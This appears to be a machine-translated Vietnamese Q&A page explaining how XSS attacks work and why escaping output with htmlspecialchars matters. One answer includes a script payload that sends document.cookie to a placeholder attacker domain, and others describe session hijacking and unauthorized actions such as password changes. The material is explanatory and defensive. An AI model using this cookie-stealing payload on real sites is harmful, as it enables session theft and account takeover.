2010-07-29 45 views
5

Vì vậy, ngăn chặn trang web tấn công XSS rất đơn giản, bạn chỉ cần sử dụng chức năng htmlspecialchars và bạn tốt.
Nhưng nếu nhà phát triển quên sử dụng nó, kẻ tấn công/hacker có thể làm gì? Anh ấy có thể nhận session_id của bạn, đúng không? Và đây là một câu hỏi. Anh ta có thể làm gì với điều đó?
Cảm ơn bạn rất nhiều.Tấn công XSS thực sự hoạt động như thế nào?

Trả lời

9

Vì vậy, ngăn trang web tấn công XSS rất đơn giản, bạn chỉ cần sử dụng chức năng htmlspecialchars và bạn tốt.

Phải. Sử dụng nó ở mọi nơi khi bạn định hiển thị lại đầu vào do người dùng kiểm soát. Điều này liên quan đến tất cả các phần của yêu cầu HTTP: tiêu đề, nội dung và thông số.

Nhưng nếu nhà phát triển quên sử dụng, kẻ tấn công/hacker có thể làm gì?

Bạn có thể chèn một số mã HTML/tập lệnh độc hại. Ví dụ.những điều sau đây trong một số thư/nhận xét tại một trang web:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script> 

Ở trên sẽ yêu cầu một hình ảnh từ miền mailicious cùng với cookie tài liệu làm chuỗi truy vấn.

Anh ấy có thể nhận session_id của bạn, đúng không? Và đây là một câu hỏi. Anh ta có thể làm gì với điều đó?

ID phiên được lưu trữ trong cookie. Khi tin tặc được thông báo về hình ảnh đã được yêu cầu với cookie trong chuỗi truy vấn, tất cả những gì anh ta phải làm chỉ là chỉnh sửa cookie của trình duyệt để bao gồm cùng một ID phiên để đăng nhập với tư cách người dùng ban đầu. Điều này rõ ràng là rất nguy hiểm nếu người dùng ban đầu là quản trị viên trang web.

+0

Hey, những gì nếu tôi sử dụng 'ini_set ('session.use_only_cookies', 1);' trong tôi kịch bản? Tuy nhiên, 'document.cookie' sẽ hoạt động? –

1

Attacker A nhận thành viên B để truy cập trang web của C với chứng chỉ B qua URI được xây dựng một cách cẩn thận của một.

Sau đó, người dùng có thể chạy bất kỳ JS nào họ thích trên C bằng thông tin đăng nhập của B.

này cho phép họ:

  • hiện bất kỳ thông tin mà họ muốn đến B như thể nó đến từ C
  • Chuẩn bị trình duyệt của B để gửi bất kỳ thông tin họ muốn từ C đến A Tài khoản
    • chi tiết
    • Thông tin cá nhân
  • Gửi bất kỳ hướng dẫn nào vào trang web C như nếu nó đến từ A
    • Xuất bản thư rác này
    • Chuyển tiền vào tài khoản này
    • Mua sách điện tử rất tốn kém này
0

Nếu bạn có một lỗ hổng XSS trên của bạn trang web, sau đó tin tặc có thể chèn bất kỳ HTML nào vào trang, bao gồm thẻ <script>. Nếu tôi đăng nhập vào trang web của bạn và truy cập trang bị tấn công, trình duyệt của tôi sẽ chạy JavaScript được chèn bởi hacker và làm cho trình duyệt của tôi làm bất cứ điều gì mà hacker dự định.

Chẳng hạn như gửi yêu cầu POST tới máy chủ của bạn để thay đổi mật khẩu, sau đó tải URL từ máy chủ của hacker để thông báo cho anh ấy số tài khoản của tôi để anh ấy có thể đăng nhập và lấy cắp tài khoản của tôi.

Các vấn đề liên quan